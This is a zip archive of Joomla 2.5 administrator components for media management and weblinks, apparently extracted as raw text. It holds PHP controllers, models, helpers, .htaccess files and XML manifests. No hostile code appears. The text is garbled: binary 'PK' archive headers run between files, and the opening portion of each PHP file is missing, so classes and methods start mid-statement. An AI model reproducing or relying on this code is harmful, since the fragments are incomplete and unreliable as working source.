MediaHelper::countFiles($tmp->path); $tmp->files = $count[0]; $tmp->folders = $count[1]; $folders[] = $tmp; } } $list = array('folders' => $folders, 'docs' => $docs, 'images' => $images); return $list; } } PKs>\Vcom_media/models/index.htmlnuW+A PKs>\@com_media/models/manager.phpnuW+AsetState('folder', $folder); $fieldid = JRequest::getCmd('fieldid', ''); $this->setState('field.id', $fieldid); $parent = str_replace("\\", "/", dirname($folder)); $parent = ($parent == '.') ? null : $parent; $this->setState('parent', $parent); $set = true; } return parent::getState($property, $default); } /** * Image Manager Popup * * @param string $listFolder The image directory to display * @since 1.5 */ function getFolderList($base = null) { // Get some paths from the request if (empty($base)) { $base = COM_MEDIA_BASE; } //corrections for windows paths $base = str_replace(DIRECTORY_SEPARATOR, '/', $base); $com_media_base_uni = str_replace(DIRECTORY_SEPARATOR, '/', COM_MEDIA_BASE); // Get the list of folders jimport('joomla.filesystem.folder'); $folders = JFolder::folders($base, '.', true, true); $document = JFactory::getDocument(); $document->setTitle(JText::_('COM_MEDIA_INSERT_IMAGE')); // Build the array of select options for the folder list $options[] = JHtml::_('select.option', "", "/"); foreach ($folders as $folder) { $folder = str_replace($com_media_base_uni, "", str_replace(DIRECTORY_SEPARATOR, '/', $folder)); $value = substr($folder, 1); $text = str_replace(DIRECTORY_SEPARATOR, "/", $folder); $options[] = JHtml::_('select.option', $value, $text); } // Sort the folder list array if (is_array($options)) { sort($options); } // Get asset and author id (use integer filter) $input = JFactory::getApplication()->input; $asset = $input->get('asset', 0, 'integer'); $author = $input->get('author', 0, 'integer'); // Create the drop-down folder select list $list = JHtml::_('select.genericlist', $options, 'folderlist', 'class="inputbox" size="1" onchange="ImageManager.setFolder(this.options[this.selectedIndex].value, '.$asset.', '.$author.')" ', 'value', 'text', $base); return $list; } function getFolderTree($base = null) { // Get some paths from the request if (empty($base)) { $base = COM_MEDIA_BASE; } $mediaBase = str_replace(DIRECTORY_SEPARATOR, '/', COM_MEDIA_BASE.'/'); // Get the list of folders jimport('joomla.filesystem.folder'); $folders = JFolder::folders($base, '.', true, true); $tree = array(); foreach ($folders as $folder) { $folder = str_replace(DIRECTORY_SEPARATOR, '/', $folder); $name = substr($folder, strrpos($folder, '/') + 1); $relative = str_replace($mediaBase, '', $folder); $absolute = $folder; $path = explode('/', $relative); $node = (object) array('name' => $name, 'relative' => $relative, 'absolute' => $absolute); $tmp = &$tree; for ($i=0, $n=count($path); $i<$n; $i++) { if (!isset($tmp['children'])) { $tmp['children'] = array(); } if ($i == $n-1) { // We need to place the node $tmp['children'][$relative] = array('data' =>$node, 'children' => array()); break; } if (array_key_exists($key = implode('/', array_slice($path, 0, $i+1)), $tmp['children'])) { $tmp = &$tmp['children'][$key]; } } } $tree['data'] = (object) array('name' => JText::_('COM_MEDIA_MEDIA'), 'relative' => '', 'absolute' => $base); return $tree; } } PKs>\/. com_media/config.xmlnuW+A
      PKs>\D@ com_media/media.phpnuW+Aauthorise('core.edit', $asset) && !$user->authorise('core.create', $asset) && count($user->getAuthorisedCategories($asset, 'core.create')) == 0 && !($user->id==$author && $user->authorise('core.edit.own', $asset))) { return JError::raiseWarning(403, JText::_('JERROR_ALERTNOAUTHOR')); } // Set the path definitions define('COM_MEDIA_BASE', JPATH_ROOT.'/'.$params->get('image_path', 'images')); define('COM_MEDIA_BASEURL', JURI::root().'/'.$params->get('image_path', 'images')); $lang = JFactory::getLanguage(); $lang->load('com_media', JPATH_ADMINISTRATOR, null, false, true) || $lang->load('com_media', JPATH_SITE, null, false, true); // Load the admin HTML view require_once JPATH_COMPONENT_ADMINISTRATOR.'/helpers/media.php'; // Require the base controller require_once JPATH_COMPONENT.'/controller.php'; // Make sure the user is authorized to view this page $user = JFactory::getUser(); $app = JFactory::getApplication(); $cmd = JRequest::getCmd('task', null); if (strpos($cmd, '.') != false) { // We have a defined controller/task pair -- lets split them out list($controllerName, $task) = explode('.', $cmd); // Define the controller name and path $controllerName = strtolower($controllerName); $controllerPath = JPATH_COMPONENT_ADMINISTRATOR.'/controllers/'.$controllerName.'.php'; // If the controller file path exists, include it ... else lets die with a 500 error if (file_exists($controllerPath)) { require_once $controllerPath; } else { JError::raiseError(500, JText::_('JERROR_INVALID_CONTROLLER')); } } else { // Base controller, just set the task :) $controllerName = null; $task = $cmd; } // Set the name for the controller and instantiate it $controllerClass = 'MediaController'.ucfirst($controllerName); if (class_exists($controllerClass)) { $controller = new $controllerClass(); } else { JError::raiseError(500, JText::_('JERROR_INVALID_CONTROLLER_CLASS')); } // Set the model and view paths to the administrator folders $controller->addViewPath(JPATH_COMPONENT_ADMINISTRATOR.'/views'); $controller->addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models'); // Perform the Request task $controller->execute($task); // Redirect if set by the controller $controller->redirect(); PKs>\B7ccom_media/media.xmlnuW+A com_media Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_MEDIA_XML_DESCRIPTION controller.php index.html media.php helpers language/en-GB.com_media.ini config.xml controller.php index.html media.php controllers helpers models views language/en-GB.com_media.ini PKs>\)com_media/.htaccessnuW+A Order allow,deny Deny from all PKs>\[/com_media/controller.phpnuW+AgetType(); // Get/Create the view $view = $this->getView($vName, $vType); $view->addTemplatePath(JPATH_COMPONENT_ADMINISTRATOR.'/views/'.strtolower($vName).'/tmpl'); // Get/Create the model if ($model = $this->getModel($mName)) { // Push the model into the view (as default) $view->setModel($model, true); } // Set the layout $view->setLayout($vLayout); // Display the view $view->display(); return $this; } function ftpValidate() { // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); } } PKs>\)c com_media/controllers/folder.phpnuW+AsetRedirect($redirect); // Just return if there's nothing to do if (empty($paths)) { return true; } if (!$user->authorise('core.delete', 'com_media')) { // User is not authorised to delete JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); return false; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); // Initialise variables. $ret = true; JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); if (count($paths)) { foreach ($paths as $path) { if ($path !== JFile::makeSafe($path)) { $dirname = htmlspecialchars($path, ENT_COMPAT, 'UTF-8'); JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_WARNDIRNAME', substr($dirname, strlen(COM_MEDIA_BASE)))); continue; } $fullPath = JPath::clean(implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $folder, $path))); $object_file = new JObject(array('filepath' => $fullPath)); if (is_file($fullPath)) { // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.file', &$object_file)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); continue; } $ret &= JFile::delete($fullPath); // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array('com_media.file', &$object_file)); $this->setMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($fullPath, strlen(COM_MEDIA_BASE)))); } elseif (is_dir($fullPath)) { $contents = JFolder::files($fullPath, '.', true, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html')); if (empty($contents)) { // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.folder', &$object_file)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); continue; } $ret &= !JFolder::delete($fullPath); // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array('com_media.folder', &$object_file)); $this->setMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($fullPath, strlen(COM_MEDIA_BASE)))); } else { //This makes no sense... JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY', substr($fullPath, strlen(COM_MEDIA_BASE)))); } } } return $ret; } } /** * Create a folder * * @param string $path Path of the folder to create * @since 1.5 */ public function create() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $user = JFactory::getUser(); $folder = JRequest::getCmd('foldername', ''); $folderCheck = JRequest::getVar('foldername', null, '', 'string', JREQUEST_ALLOWRAW); $parent = JRequest::getVar('folderbase', '', '', 'path'); $this->setRedirect('index.php?option=com_media&folder='.$parent.'&tmpl='.JRequest::getCmd('tmpl', 'index')); if (strlen($folder) > 0) { if (!$user->authorise('core.create', 'com_media')) { // User is not authorised to delete JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_CREATE_NOT_PERMITTED')); return false; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); JRequest::setVar('folder', $parent); if (($folderCheck !== null) && ($folder !== $folderCheck)) { $this->setMessage(JText::_('COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME')); return false; } $path = JPath::clean(COM_MEDIA_BASE . '/' . $parent . '/' . $folder); if (!is_dir($path) && !is_file($path)) { // Trigger the onContentBeforeSave event. $object_file = new JObject(array('filepath' => $path)); JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); $result = $dispatcher->trigger('onContentBeforeSave', array('com_media.folder', &$object_file, true)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); return false; } JFolder::create($path); $data = "\n\n\n"; JFile::write($path . "/index.html", $data); // Trigger the onContentAfterSave event. $dispatcher->trigger('onContentAfterSave', array('com_media.folder', &$object_file, true)); $this->setMessage(JText::sprintf('COM_MEDIA_CREATE_COMPLETE', substr($path, strlen(COM_MEDIA_BASE)))); } JRequest::setVar('folder', ($parent) ? $parent.'/'.$folder : $folder); } } } PKs>\gD  #com_media/controllers/file.json.phpnuW+A '0', 'error' => JText::_('JINVALID_TOKEN') ); echo json_encode($response); return; } // Get the user $user = JFactory::getUser(); $log = JLog::getInstance('upload.error.php'); // Get some data from the request $file = JRequest::getVar('Filedata', '', 'files', 'array'); $folder = JRequest::getVar('folder', '', '', 'path'); $return = JRequest::getVar('return-url', null, 'post', 'base64'); if ( $_SERVER['CONTENT_LENGTH']>($params->get('upload_maxsize', 0) * 1024 * 1024) || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('upload_max_filesize'))* 1024 * 1024 || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('post_max_size'))* 1024 * 1024 || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('memory_limit'))* 1024 * 1024 ) { $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE') ); echo json_encode($response); return; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); // Make the filename safe $file['name'] = JFile::makeSafe($file['name']); if (isset($file['name'])) { // The request is valid $err = null; $filepath = JPath::clean(COM_MEDIA_BASE . '/' . $folder . '/' . strtolower($file['name'])); if (!MediaHelper::canUpload($file, $err)) { $log->addEntry(array('comment' => 'Invalid: '.$filepath.': '.$err)); $response = array( 'status' => '0', 'error' => JText::_($err) ); echo json_encode($response); return; } // Trigger the onContentBeforeSave event. JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); $object_file = new JObject($file); $object_file->filepath = $filepath; $result = $dispatcher->trigger('onContentBeforeSave', array('com_media.file', &$object_file, true)); if (in_array(false, $result, true)) { // There are some errors in the plugins $log->addEntry(array('comment' => 'Errors before save: '.$filepath.' : '.implode(', ', $object_file->getErrors()))); $response = array( 'status' => '0', 'error' => JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('
      ', $errors)) ); echo json_encode($response); return; } if (JFile::exists($filepath)) { // File exists $log->addEntry(array('comment' => 'File exists: '.$filepath.' by user_id '.$user->id)); $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_FILE_EXISTS') ); echo json_encode($response); return; } elseif (!$user->authorise('core.create', 'com_media')) { // File does not exist and user is not authorised to create $log->addEntry(array('comment' => 'Create not permitted: '.$filepath.' by user_id '.$user->id)); $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_CREATE_NOT_PERMITTED') ); echo json_encode($response); return; } $file = (array) $object_file; if (!JFile::upload($file['tmp_name'], $file['filepath'])) { // Error in upload $log->addEntry(array('comment' => 'Error on upload: '.$filepath)); $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE') ); echo json_encode($response); return; } else { // Trigger the onContentAfterSave event. $dispatcher->trigger('onContentAfterSave', array('com_media.file', &$object_file, true)); $log->addEntry(array('comment' => $folder)); $response = array( 'status' => '1', 'error' => JText::sprintf('COM_MEDIA_UPLOAD_COMPLETE', substr($file['filepath'], strlen(COM_MEDIA_BASE))) ); echo json_encode($response); return; } } else { $response = array( 'status' => '0', 'error' => JText::_('COM_MEDIA_ERROR_BAD_REQUEST') ); echo json_encode($response); return; } } } PKs>\V com_media/controllers/index.htmlnuW+A PKs>\)com_media/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\'#'#com_media/controllers/file.phpnuW+Afolder = JRequest::getVar('folder', '', '', 'path'); // Set the redirect if ($return) { $this->setRedirect(base64_decode($return) . '&folder=' . $this->folder); } // Authorize the user if (!$this->authoriseUser('create')) { return false; } if ( $_SERVER['CONTENT_LENGTH']>($params->get('upload_maxsize', 0) * 1024 * 1024) || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('upload_max_filesize'))* 1024 * 1024 || $_SERVER['CONTENT_LENGTH']>(int)(ini_get('post_max_size'))* 1024 * 1024 || (($_SERVER['CONTENT_LENGTH'] > (int) (ini_get('memory_limit')) * 1024 * 1024) && ((int) (ini_get('memory_limit')) != -1)) ) { JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE')); return false; } // Input is in the form of an associative array containing numerically indexed arrays // We want a numerically indexed array containing associative arrays // Cast each item as array in case the Filedata parameter was not sent as such $files = array_map( array($this, 'reformatFilesArray'), (array) $files['name'], (array) $files['type'], (array) $files['tmp_name'], (array) $files['error'], (array) $files['size'] ); // Perform basic checks on file info before attempting anything foreach ($files as &$file) { if ($file['error']==1) { JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE')); return false; } if ($file['size']>($params->get('upload_maxsize', 0) * 1024 * 1024)) { JError::raiseNotice(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE')); return false; } if (JFile::exists($file['filepath'])) { // A file with this name already exists JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_FILE_EXISTS')); return false; } if (!isset($file['name'])) { // No filename (after the name was cleaned by JFile::makeSafe) $this->setRedirect('index.php', JText::_('COM_MEDIA_INVALID_REQUEST'), 'error'); return false; } } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); foreach ($files as &$file) { // The request is valid $err = null; if (!MediaHelper::canUpload($file, $err)) { // The file can't be upload JError::raiseNotice(100, JText::_($err)); return false; } // Trigger the onContentBeforeSave event. $object_file = new JObject($file); $result = $dispatcher->trigger('onContentBeforeSave', array('com_media.file', &$object_file, true)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); return false; } if (!JFile::upload($file['tmp_name'], $file['filepath'])) { // Error in upload JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE')); return false; } else { // Trigger the onContentAfterSave event. $dispatcher->trigger('onContentAfterSave', array('com_media.file', &$object_file, true)); $this->setMessage(JText::sprintf('COM_MEDIA_UPLOAD_COMPLETE', substr($file['filepath'], strlen(COM_MEDIA_BASE)))); } } return true; } /** * Used as a callback for array_map, turns the multi-file input array into a sensible array of files * Also, removes illegal characters from the 'name' and sets a 'filepath' as the final destination of the file * * @param string - file name ($files['name']) * @param string - file type ($files['type']) * @param string - temporary name ($files['tmp_name']) * @param string - error info ($files['error']) * @param string - file size ($files['size']) * * @return array * @access protected */ protected function reformatFilesArray($name, $type, $tmp_name, $error, $size) { $name = JFile::makeSafe($name); return array( 'name' => $name, 'type' => $type, 'tmp_name' => $tmp_name, 'error' => $error, 'size' => $size, 'filepath' => JPath::clean(implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $this->folder, $name))) ); } /** * Check that the user is authorized to perform this action * * @param string $action - the action to be peformed (create or delete) * * @return boolean * @access protected */ protected function authoriseUser($action) { if (!JFactory::getUser()->authorise('core.' . strtolower($action), 'com_media')) { // User is not authorised JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_' . strtoupper($action) . '_NOT_PERMITTED')); return false; } return true; } /** * Deletes paths from the current path * * @since 1.5 */ public function delete() { JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN')); // Get some data from the request $tmpl = JRequest::getCmd('tmpl'); $paths = JRequest::getVar('rm', array(), '', 'array'); $folder = JRequest::getVar('folder', '', '', 'path'); $redirect = 'index.php?option=com_media&folder=' . $folder; if ($tmpl == 'component') { // We are inside the iframe $redirect .= '&view=mediaList&tmpl=component'; } $this->setRedirect($redirect); // Nothing to delete if (empty($paths)) { return true; } // Authorize the user if (!$this->authoriseUser('delete')) { return false; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); JPluginHelper::importPlugin('content'); $dispatcher = JDispatcher::getInstance(); // Initialise variables. $ret = true; foreach ($paths as $path) { if ($path !== JFile::makeSafe($path)) { // filename is not safe $filename = htmlspecialchars($path, ENT_COMPAT, 'UTF-8'); JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME', substr($filename, strlen(COM_MEDIA_BASE)))); continue; } $fullPath = JPath::clean(implode(DIRECTORY_SEPARATOR, array(COM_MEDIA_BASE, $folder, $path))); $object_file = new JObject(array('filepath' => $fullPath)); if (is_file($fullPath)) { // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.file', &$object_file)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); continue; } $ret &= JFile::delete($fullPath); // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array('com_media.file', &$object_file)); $this->setMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($fullPath, strlen(COM_MEDIA_BASE)))); } elseif (is_dir($fullPath)) { $contents = JFolder::files($fullPath, '.', true, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html')); if (empty($contents)) { // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.folder', &$object_file)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); continue; } $ret &= JFolder::delete($fullPath); // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array('com_media.folder', &$object_file)); $this->setMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($fullPath, strlen(COM_MEDIA_BASE)))); } else { // This makes no sense... JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY', substr($fullPath, strlen(COM_MEDIA_BASE)))); } } } return $ret; } } PKs>\p  com_media/helpers/media.phpnuW+Aget('upload_extensions')); if (!in_array($format, $allowable)) { $err = JText('COM_MEDIA_ERROR_WARNFILETYPE'); return false; } $maxSize = (int) ($params->get('upload_maxsize', 0) * 1024 * 1024); if ($maxSize > 0 && (int) $file['size'] > $maxSize) { $err = JText('COM_MEDIA_ERROR_WARNFILETOOLARGE'); return false; } return true; } public static function parseSize($size) { if ($size < 1024) { return JText::sprintf('COM_MEDIA_FILESIZE_BYTES', $size); } elseif ($size < 1024 * 1024) { return JText::sprintf('COM_MEDIA_FILESIZE_KILOBYTES', sprintf('%01.2f', $size / 1024.0)); } else { return JText::sprintf('COM_MEDIA_FILESIZE_MEGABYTES', sprintf('%01.2f', $size / (1024.0 * 1024))); } } function imageResize($width, $height, $target) { //takes the larger size of the width and height and applies the //formula accordingly...this is so this script will work //dynamically with any size image if ($width > $height) { $percentage = ($target / $width); } else { $percentage = ($target / $height); } //gets the new value and applies the percentage, then rounds the value $width = round($width * $percentage); $height = round($height * $percentage); //returns the new sizes in html image tag format...this is so you //can plug this function inside an image tag and just get the return "width=\"$width\" height=\"$height\""; } function countFiles($dir) { $total_file = 0; $total_dir = 0; if (is_dir($dir)) { $d = dir($dir); while (false !== ($entry = $d->read())) { if (substr($entry, 0, 1) != '.' && is_file($dir . DIRECTORY_SEPARATOR . $entry) && strpos($entry, '.html') === false && strpos($entry, '.php') === false) { $total_file++; } if (substr($entry, 0, 1) != '.' && is_dir($dir . DIRECTORY_SEPARATOR . $entry)) { $total_dir++; } } $d->close(); } return array ($total_file, $total_dir); } } PKs>\Vcom_media/helpers/index.htmlnuW+A PKs>\)com_media/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\Uffcom_weblinks/access.xmlnuW+A
      PKs>\)com_weblinks/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_weblinks/tables/index.htmlnuW+A PKs>\U++com_weblinks/tables/weblink.phpnuW+AloadArray($array['params']); $array['params'] = (string)$registry; } if (isset($array['metadata']) && is_array($array['metadata'])) { $registry = new JRegistry(); $registry->loadArray($array['metadata']); $array['metadata'] = (string)$registry; } return parent::bind($array, $ignore); } /** * Overload the store method for the Weblinks table. * * @param boolean Toggle whether null values should be updated. * @return boolean True on success, false on failure. * @since 1.6 */ public function store($updateNulls = false) { $date = JFactory::getDate(); $user = JFactory::getUser(); if ($this->id) { // Existing item $this->modified = $date->toSql(); $this->modified_by = $user->get('id'); } else { // New weblink. A weblink created and created_by field can be set by the user, // so we don't touch either of these if they are set. if (!intval($this->created)) { $this->created = $date->toSql(); } if (empty($this->created_by)) { $this->created_by = $user->get('id'); } } // Verify that the alias is unique $table = JTable::getInstance('Weblink', 'WeblinksTable'); if ($table->load(array('alias'=>$this->alias, 'catid'=>$this->catid)) && ($table->id != $this->id || $this->id==0)) { $this->setError(JText::_('COM_WEBLINKS_ERROR_UNIQUE_ALIAS')); return false; } // Attempt to store the user data. return parent::store($updateNulls); } /** * Overloaded check method to ensure data integrity. * * @return boolean True on success. */ public function check() { if (JFilterInput::checkAttribute(array ('href', $this->url))) { $this->setError(JText::_('COM_WEBLINKS_ERR_TABLES_PROVIDE_URL')); return false; } // check for valid name if (trim($this->title) == '') { $this->setError(JText::_('COM_WEBLINKS_ERR_TABLES_TITLE')); return false; } // check for existing name $query = 'SELECT id FROM #__weblinks WHERE title = '.$this->_db->Quote($this->title).' AND catid = '.(int) $this->catid; $this->_db->setQuery($query); $xid = intval($this->_db->loadResult()); if ($xid && $xid != intval($this->id)) { $this->setError(JText::_('COM_WEBLINKS_ERR_TABLES_NAME')); return false; } if (empty($this->alias)) { $this->alias = $this->title; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $this->alias = JFactory::getDate()->format("Y-m-d-H-i-s"); } // Check the publish down date is not earlier than publish up. if ($this->publish_down > $this->_db->getNullDate() && $this->publish_down < $this->publish_up) { $this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH')); return false; } // clean up keywords -- eliminate extra spaces between phrases // and cr (\r) and lf (\n) characters from string if (!empty($this->metakey)) { // only process if not empty $bad_characters = array("\n", "\r", "\"", "<", ">"); // array of characters to remove $after_clean = JString::str_ireplace($bad_characters, "", $this->metakey); // remove bad characters $keys = explode(',', $after_clean); // create array using commas as delimiter $clean_keys = array(); foreach($keys as $key) { if (trim($key)) { // ignore blank keywords $clean_keys[] = trim($key); } } $this->metakey = implode(", ", $clean_keys); // put array back together delimited by ", " } return true; } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.0.4 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k.'='.implode(' OR '.$k.'=', $pks); // Determine if there is checkin support for the table. if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time')) { $checkin = ''; } else { $checkin = ' AND (checked_out = 0 OR checked_out = '.(int) $userId.')'; } // Update the publishing state for rows with the given primary keys. $this->_db->setQuery( 'UPDATE '.$this->_db->quoteName($this->_tbl) . ' SET '.$this->_db->quoteName('state').' = '.(int) $state . ' WHERE ('.$where.')' . $checkin ); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If checkin is supported and all rows were adjusted, check them in. if ($checkin && (count($pks) == $this->_db->getAffectedRows())) { // Checkin the rows. foreach($pks as $pk) { $this->checkin($pk); } } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PKs>\Khhcom_weblinks/config.xmlnuW+A
      PKs>\Vcom_weblinks/index.htmlnuW+A PKs>\7;icom_weblinks/weblinks.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PKs>\j~Q Q com_weblinks/weblinks.xmlnuW+A com_weblinks Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_WEBLINKS_XML_DESCRIPTION sql/install.mysql.utf8.sql sql/uninstall.mysql.utf8.sql index.html weblinks.php controller.php router.php metadata.xml views models controllers helpers language/en-GB.com_weblinks.ini com_weblinks com_weblinks_links com_weblinks_categories access.xml config.xml controller.php index.html weblinks.php controllers helpers models sql tables views language/en-GB.com_weblinks.ini language/en-GB.com_weblinks.sys.ini PKs>\)com_weblinks/.htaccessnuW+A Order allow,deny Deny from all PKs>\jmcom_weblinks/models/weblink.phpnuW+AgetParams(); // Load the object state. $id = JRequest::getInt('id'); $this->setState('weblink.id', $id); // Load the parameters. $this->setState('params', $params); } /** * Method to get an ojbect. * * @param integer The id of the object to get. * * @return mixed Object on success, false on failure. */ public function &getItem($id = null) { if ($this->_item === null) { $this->_item = false; if (empty($id)) { $id = $this->getState('weblink.id'); } // Get a level row instance. $table = JTable::getInstance('Weblink', 'WeblinksTable'); // Attempt to load the row. if ($table->load($id)) { // Check published state. if ($published = $this->getState('filter.published')) { if ($table->state != $published) { return $this->_item; } } // Convert the JTable to a clean JObject. $properties = $table->getProperties(1); $this->_item = JArrayHelper::toObject($properties, 'JObject'); } elseif ($error = $table->getError()) { $this->setError($error); } } return $this->_item; } /** * Method to increment the hit counter for the weblink * * @param int Optional ID of the weblink. * @return boolean True on success * @since 1.5 */ public function hit($id = null) { if (empty($id)) { $id = $this->getState('weblink.id'); } $weblink = $this->getTable('Weblink', 'WeblinksTable'); return $weblink->hit($id); } } PKs>\Vcom_weblinks/models/index.htmlnuW+A PKs>\)$com_weblinks/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_weblinks/models/fields/index.htmlnuW+A PKs>\7'com_weblinks/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $weblinkId = (int) $this->form->getValue('id'); $categoryId = (int) $this->form->getValue('catid'); // Build the query for the ordering list. $query = 'SELECT ordering AS value, title AS text' . ' FROM #__weblinks' . ' WHERE catid = ' . (int) $categoryId . ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $weblinkId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $weblinkId ? 0 : 1); } return implode($html); } } PKs>\)com_weblinks/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_weblinks/models/forms/index.htmlnuW+A PKs>\)#com_weblinks/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\ %com_weblinks/models/forms/weblink.xmlnuW+A
